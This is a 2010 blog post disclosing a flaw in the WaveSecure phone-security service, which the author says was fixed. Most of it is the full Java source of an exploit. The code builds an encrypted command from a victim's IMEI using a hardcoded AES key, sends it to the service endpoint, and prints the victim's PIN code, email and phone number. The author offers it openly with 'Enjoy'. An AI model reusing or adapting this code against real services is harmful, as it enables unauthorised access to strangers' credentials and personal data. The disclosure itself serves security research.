Tuesday, August 3, 2010

WaveSecure - Security Vulnerability Exploit Source Code Unveiled

Hello - as stated in my Blog entry i found a major security leak within WaveSecure that allowed hackers to download user backup data, GPS track phones, wipe phones and lock phones of unsuspecting users by just knowing or guessing their IMEI number.

The security leak within WaveSecure was fixed in response to my publication by disabling the corresponding feature (restoring settings after a hard-reset on rooted Android phones). As the leak is no longer existing, i now can publish the complete source code of the exploit. Enjoy.

Please note that i think that the security architecture of WaveSecure is still fragile and it could be that further exploits exist. However i will not further follow this topic - it's already boring :-).

import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.net.URL;
import java.net.URLConnection;
import java.net.URLEncoder;
import javax.crypto.Cipher;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;
import org.apache.commons.codec.binary.Base64;

public class WS {

public static byte[] hexStringToByteArray(String s) {
    int len = s.length();
    byte[] data = new byte[len / 2];
    for (int i = 0; i < len; i += 2) {
      data[i / 2] = (byte) ((Character.digit(s.charAt(i), 16) << 4)  + Character.digit(s.charAt(i+1), 16));
    }

  return data;
}

public static byte[] doEncrypt(String text) throws Exception
{
  int l = text.getBytes().length;
  int rest = l % 16;

  for (int i = 0; i < (16-rest); i++)
    text = text + " ";

  byte[] cipherKey = hexStringToByteArray("E5E6E7E9EA292A2B2D256789012345E5");
  SecretKeySpec secretKey = new SecretKeySpec(cipherKey, "Rijndael");
  Cipher cipher = Cipher.getInstance("Rijndael/CBC/NoPadding");
  cipher.init(Cipher.ENCRYPT_MODE, secretKey, new IvParameterSpec(new byte[] {0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00}));

  return cipher.doFinal(text.getBytes());
}

private static String removeTags(String input)
{
  int index = input.indexOf('<');
  if (index >= 0)
    return input.substring(0, index);
  return input;
}

public static void main(String[] args) {
  byte[] encoded;
  try {
    if (args.length < 1)
    {
      System.out.println("Please give IMEI as argument!");
      return;
    }

    String imei = args[0];
    if (imei == null || imei.isEmpty())
    {
      System.out.println("Please give IMEI as argument!");
      return;
    }

    String input = "AAAsq -ge 1 -m 1200 -ver 3.1.0.4 -ga 1 -gb 1 -i " + imei;
    System.out.println("========= INPUT ==================");
    System.out.println("Input: " + input);
    System.out.println("==================================");
    System.out.println();
    System.out.println("Doing encryption stuff...");

    encoded = doEncrypt(input);
    byte[] encoded64 = Base64.encodeBase64(encoded);

    System.out.println("Did encryption stuff...");

    String command = "/!!/AAAA" + new String(encoded64);
    String strUrl = "https://www.wavesecure.com/service.ashx?text=" + URLEncoder.encode(command);
    System.out.println("Connection to " + strUrl + "...");

    URL url = new URL(strUrl);
    URLConnection conn = url.openConnection();
    BufferedReader rd = new BufferedReader(new InputStreamReader(conn.getInputStream()));
    StringBuffer sb = new StringBuffer();
    String line;

    while ((line = rd.readLine()) != null)
    {
      sb.append(line);
    }

    rd.close();
    String result = sb.toString();
    System.out.println("Response from server: " + result);
    System.out.println();

    System.out.println("========= PARSED RESULT ==========");
    String[] parts = result.split(" ");
    for (int i = 0; i < parts.length; i++)
    {
      String p = parts[i];
      if (p.equals("-p"))
      {
        System.out.println("PIN code: " + removeTags(parts[i+1]));
      } else if (p.equals("-e"))
      {
        System.out.println("Email: " + removeTags(parts[i+1]));
      } else if (p.equals("-pn"))
      {
        System.out.println("Phone number: " + removeTags(parts[i+1]));
      }
    }
    System.out.println("==================================");
    System.out.println("(how unsecure is THAT????!)");
  } catch (Exception e1) {
    e1.printStackTrace();
  }
}

}

No comments:

Post a Comment